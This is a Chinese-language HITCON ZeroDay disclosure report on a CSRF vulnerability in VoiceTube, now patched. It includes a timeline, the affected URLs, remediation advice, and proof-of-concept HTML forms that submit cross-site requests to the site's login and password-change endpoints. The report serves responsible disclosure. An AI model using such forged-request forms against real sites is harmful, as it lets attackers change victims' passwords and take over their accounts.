VoiceTube,發現 CSRF 弱點。 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00246
  •  發信 Vendor: VoiceTube
  • Title: VoiceTube,發現 CSRF 弱點。
  • Introduction: 跨站冒名請求 CSRF

處理狀態

目前狀態

公開
Last Update : 2019/05/14
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/03/14 18:28:47 : 新提交 (由 MksYi 更新此狀態)
  • 2019/03/14 22:37:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/15 18:05:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/15 18:05:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/15 18:05:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/10 10:58:29 : 已修補 (由 組織帳號 更新此狀態)
  • 2019/05/10 10:59:14 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2019/05/10 22:49:53 : 確認已修補 (由 MksYi 更新此狀態)
  • 2019/05/14 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00246
  • 通報者:MksYi (MksYi)
  • 風險:中
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://tw.voicetube.com/login?apilang=zh_tw
https://tw.voicetube.com/user/preferences#home
https://tw.voicetube.com/user/preferences#profile

敘述

  1. 透過複製 Login 頁面 Form 的 HTML 代碼,存至本地端執行。
    HTML 代碼如下:

    <h1>Login Page</h1>
    <form id="signin" method="post" action="https://tw.voicetube.com/login?apilang=zh_tw&amp;next=/&amp;mtc=vt_web_home_header_signin&amp;ref=vt_web_home_header_signin" class="form-signin text-center">
    <div class="vt-form-control input-group"><input type="text" placeholder="Email" autofocus="autofocus" id="email" name="email" class="">
        <label for="email">Email</label> 
        <span class="checker"></span> 
        <span class="error-message"></span>
    </div>
    <div class="vt-form-control input-group">
        <input type="password" placeholder="Passwd" id="password" name="password" class=""> <label for="password">Passwd</label>
        <span class="checker"></span>
        <span class="error-message"></span>
    </div> 
    <input type="hidden" value="1" name="remember">
    <button type="submit" class="vt-btn primary login-btn" style="margin-top: 28px;">Login</button>
    </form>

    瀏覽器上顯示:
    圖片

  2. 同樣複製更改密碼頁面的 Form,並存至本地端執行。
    HTML 代碼如下:

    <h1>Change Password</h1>
    <form id="tab2" method="post" action="https://tw.voicetube.com/user/preferences/password">
    <label>Password</label>
    <input name="password" class="input-xlarge">
    <br>
    <label>Password again</label>
    <input name="passconf" class="input-xlarge">
    <div>
    <button class="btn btn-primary">Change</button>
    </div>
    </form>

    瀏覽器上顯示:
    圖片

漏洞利用影片:
https://youtu.be/QujDG2s1b10

修補建議

1. 確實針對請求執行 Token 的審查
2. 確認請求是否來自相同的網域

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;